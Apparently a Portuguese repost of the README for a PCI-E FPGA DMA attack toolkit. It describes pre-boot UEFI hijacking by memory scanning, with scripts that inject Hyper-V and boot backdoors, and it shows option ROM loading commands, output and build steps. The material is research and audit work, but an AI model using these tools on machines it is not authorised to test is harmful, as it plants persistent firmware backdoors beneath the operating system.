  • Sequestro de EFI_SYSTEM_TABLE − varre a memória do sistema de cima para baixo, do endereço físico 0xf0000000 até 0, com passo de 0x10000 bytes, para encontrar a tabela de sistema EFI por sua assinatura e corrigir o endereço da função LocateProtocol(). Para substituir as opções de varredura de memória, você pode usar as variáveis de ambiente SCAN_FROM e SCAN_STEP.

  • Sequestro de PROTOCOL_ENTRY − varre a memória do sistema de baixo para cima, do endereço físico 0x76000000 até 0xa0000000, com passo de 0x1000 bytes, para encontrar a estrutura EFI_CPU_IO2_PROTOCOL do protocolo CPU I/O 2 e modificar uma de suas funções. Para substituir as opções de varredura de memória, você pode usar as variáveis de ambiente , e .

Por padrão, todos os quatro programas usam o método de sequestro da tabela de sistema EFI; para usar o método de entrada de protocolo em vez disso, você pode passar a opção de linha de comando --inj-prot para o programa apropriado. Para reduzir o tempo necessário para realizar o ataque, você pode especificar o endereço da estrutura EFI_SYSTEM_TABLE encontrado anteriormente usando a opção --system-table e o endereço da estrutura PROTOCOL_ENTRY usando a opção --prot-entry. Além disso, todos os quatro programas Python possuem a opção de linha de comando --test; essa opção é usada para fazer a varredura de memória e encontrar os endereços das estruturas necessárias sem realizar um sequestro real do fluxo de execução. Assim, durante o primeiro boot, você pode executar o programa desejado com a opção --test para encontrar o endereço necessário e, durante o segundo boot, pode executar o mesmo programa com a opção --system-table ou --prot-entry para especificar esse endereço.

Durante o desenvolvimento de código malicioso para ataques DMA de pré-boot, é importante ter informações sobre o ambiente de execução da fase UEFI DXE. Para coletar tais informações, você pode ligar o computador alvo, entrar no menu de configuração do BIOS ou no menu de opções de boot para pausar o carregamento do sistema operacional e executar o programa uefi.py sem argumentos. Este programa fará a varredura da memória física do computador alvo e imprimirá diversas informações sobre os protocolos e interfaces UEFI DXE existentes, drivers UEFI carregados, tabelas de descritores UEFI e tabelas ACPI. Aqui você pode ver um exemplo das informações obtidas pelo programa uefi.py ao usar o mini-PC AAEON UP Squared como alvo do ataque.

Ataques de Option ROM

O bitstream fornecido pode emular a Option ROM PCI-E armazenada na memória flash linear integrada do SP605. Embora plataformas modernas mitiguem ataques de Option ROM, esse recurso ainda pode ser útil para fins de auditoria de segurança ou prototipagem.

Você pode gerenciar as imagens de Option ROM usando o programa Python pcie_rom_ctl.py.
Apagando o conteúdo da Option ROM:``` $ ./pcie_rom_ctl.py --erase [+] Opening PCI-E device... [+] Enabling resident mode... [+] Erasing option ROM... [+] Done

root@kitploit:~
Carregando o exemplo de option ROM UEFI fornecido na placa:```
$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Loading 5120 bytes of option ROM...
[+] Done

Além disso, há uma opção para registrar o acesso à memória da option ROM no UART de depuração da placa SP605; para habilitar ou desabilitar essa opção, use os parâmetros --log-on e --log-off do programa ./pcie_rom_ctl.py.

Para verificar o funcionamento correto do suporte a option ROM no Linux, você pode fazer o seguinte.
Primeiro, encontre o endereço barramento-dispositivo-função do dispositivo PCI-E SP605:```

lspci | grep Xilinx

01:00.0 Ethernet controller: Xilinx Corporation Device 1337

root@kitploit:~
Em seguida, defina o bit de habilitação do registrador de comando para que o sistema de destino encaminhe ao dispositivo PCI-E todas as tentativas de acesso à memória às faixas de memória física da ROM de opção:```
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/enable
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/rom

Agora você pode despejar o conteúdo da option ROM carregada anteriormente com a ajuda do comando dd e do pseudo-arquivo apropriado do sysfs:```

dd if=/sys/bus/pci/devices/0000:01:00.0/rom | hexdump -Cv

00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....| 00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR| 00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............| 00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................| 00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

...

root@kitploit:~
No caso em que a opção `--log-on` do programa `pcie_rom_ctl.py` foi especificada durante a configuração, você verá as seguintes mensagens no console UART de depuração da placa SP605 ao despejar a option ROM:```
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x0
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x1
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C

...

Solução de problemas

PCI Express é um barramento de alta velocidade muito complexo, então há muitas coisas que podem dar errado. Caso o ataque de DMA não esteja funcionando na sua configuração, você pode verificar os seguintes itens para determinar o problema exato:

  • O LED DS3 está aceso quando o link físico PCI-E está ativo e o DS4 está aceso quando o root complex atribuiu o endereço barramento-dispositivo-função ao nosso endpoint PCI-E. Se o DS3 estiver apagado, isso provavelmente indica um problema de conectividade física − verifique seus risers, cabos, etc. Se o DS3 estiver aceso, mas o DS4 estiver apagado, significa que você teve que reiniciar o alvo do ataque ou forçar uma nova varredura dos dispositivos PCI-E no lado dele.

  • O LED DS5 está aceso durante o reset do barramento PCI-E; quando está sempre aceso, significa um problema de conectividade física.

  • Se o root complex enviar TLP Cpl em vez de TLP CplD em resposta a uma solicitação de leitura de memória, isso significa que o acesso à memória foi rejeitado devido a endereço inválido ou a verificações de acesso impostas pela IOMMU. Além disso, uma máquina x86 típica pode não responder de forma alguma a solicitações de leitura de memória para certas regiões MMIO do espaço de endereço físico.

  • Se o software estiver recebendo TLPs inconsistentes ou inválidos do root complex em resposta às solicitações de leitura de memória, você pode tentar definir um valor menor para a constante MEM_RD_TLP_LEN em pcie_lib.py para dividir os dados de resposta em mais partes menores. Também é útil executar o programa com a variável de ambiente DEBUG_TLP=1 e verificar o dump bruto de TLPs TX/RX.

Construindo o projeto a partir do código-fonte

  1. Instale o Xilinx ISE 13.4 que acompanha a sua placa SP605 e abra o arquivo de projeto s6_pcie_microblaze.xise.

  2. Regenere os núcleos s6_pcie_v2_4 e fifo_generator_v8_4 presentes na hierarquia do projeto.

  3. Clique na instância microblaze_i na hierarquia do projeto e execute "Export Hardware Design to SDK With Bitstream".

  4. Quando o build for concluído, o ISE abre o IDE Xilinx Software Development Kit; use a pasta sdk como workspace.

  5. Crie um novo pacote de suporte a placa standalone na árvore de projetos do seu Xilinx SDK, escolha as bibliotecas lwIP e xilflash na configuração do BSP.

  6. Importe os projetos sdk/srec_bootloader_0 e sdk/main_0 para a árvore de projetos e execute o build.

  7. Execute make bitstream && make srec no prompt de comando do Xilinx ISE para gerar os arquivos de saída necessários.

Desenvolvido por

Dmytro Oleksiuk (aka Cr4sh)

[email protected]
http://blog.cr4.sh
@d_olex

Baixar ferramenta
2
3
4
  • python/uefi_backdoor_simple.py − Programa de linha de comando para ataque DMA pré-inicialização que injeta um driver UEFI fictício na sequência de inicialização da máquina alvo.

  • python/uefi_backdoor_hv.py − Programa de linha de comando para ataque DMA pré-inicialização que injeta um backdoor de manipulador de saída de VM do Hyper-V na sequência de inicialização do sistema alvo.

  • python/uefi_backdoor_boot.py − Programa de linha de comando para ataque DMA pré-inicialização que injeta o Boot Backdoor na sequência de inicialização do sistema alvo.

  • python/payloads/DmaBackdoorSimple/ − Código-fonte do driver UEFI DXE fictício para usar com o uefi_backdoor_simple.py.

  • python/payloads/DmaBackdoorHv/ − Código-fonte do driver UEFI DXE para usar com o uefi_backdoor_hv.py; ele implementa a funcionalidade do Hyper-V Backdoor.

  • python/payloads/DmaBackdoorBoot/ − Código-fonte do driver UEFI DXE para usar com o uefi_backdoor_boot.py; ele implementa a funcionalidade do Boot Backdoor.

  • SCAN_FROM
    SCAN_TO
    SCAN_STEP